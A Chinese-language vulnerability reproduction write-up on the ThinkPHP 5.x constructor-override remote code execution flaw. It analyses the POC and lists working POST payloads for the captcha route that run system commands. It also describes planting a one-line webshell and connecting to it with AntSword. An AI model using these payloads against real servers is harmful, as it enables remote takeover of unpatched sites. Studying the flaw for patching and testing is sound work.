漏洞详情:
攻击者可向缓存文件内写入PHP代码,导致远程代码执行。根据漏洞利用能得出通过s参数传递具体的路由。参考http://blog.nsfocus.net/thinkphp-full-version-rce-vulnerability-analysis/?tdsourcetag=s_pctim_aiomsg梳理出的漏洞流程图:
可以得到重要是参数为method和filter。value是传入的数组值,由server决定。
解析POC:
_method=__construct&filter=system&method=get&server[REQUEST_METHOD]=id
_method=__construct:调用构造方法__construct(),可以覆盖Request类的任意成员变量,这里修改了filter和server(value)两个值,同时覆盖了method。
filter=system:传递filter值,覆盖原有值。
server[REQUEST_METHOD]=id:在调用$this→server('REQUEST_METHOD')时指定了键值,所以通过传入server数组即可。
method=get:这里是通过check()方法分析$rules = isset(self::$rules[$method]) ? self::$rules[$method] : [];得到。它的返回值由$rules决定,而$rules的值取决于键值$method,当我们指定$method为get时,可以正确获取到路由信息,从而通过checkRoute()检查,此时我们通过指定method=get覆盖$this->method的值即可
大佬的分析太妙了,这样子之后,我们就可以直接修改filter以及server(value)的值了。将我们需要的值传递覆盖之后,获取正常的路由信息,就能返回我们想要的信息。
漏洞影响版本:
影响 ThinkPHP 版本 5.x < 5.1.31, <= 5.0.23
漏洞利用:
index.php?s=captcha
漏洞复现:
根据POC我们使用hackbar进行测试,可以执行,后面尝试获取phpinfo。
将post值改为:_method=__construct&filter[]=phpinfo&method=get&server[REQUEST_METHOD]=1。
第一步中可以执行system命令,尝试echo写入是否可以执行。
将post值改为:_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=echo 1
可以执行echo,后面尝试写入一句话木马。
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=echo '' > 1.php
执行之后页面无回现,尝试调用ls命令。
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=ls
写入成功,上蚁剑尝试。
拿到Shell,复现完成。
POC回看:
使用hackbar,
url:/index.php?s=captcha
post:_method=__construct&filter=system&method=get&server[REQUEST_METHOD]=id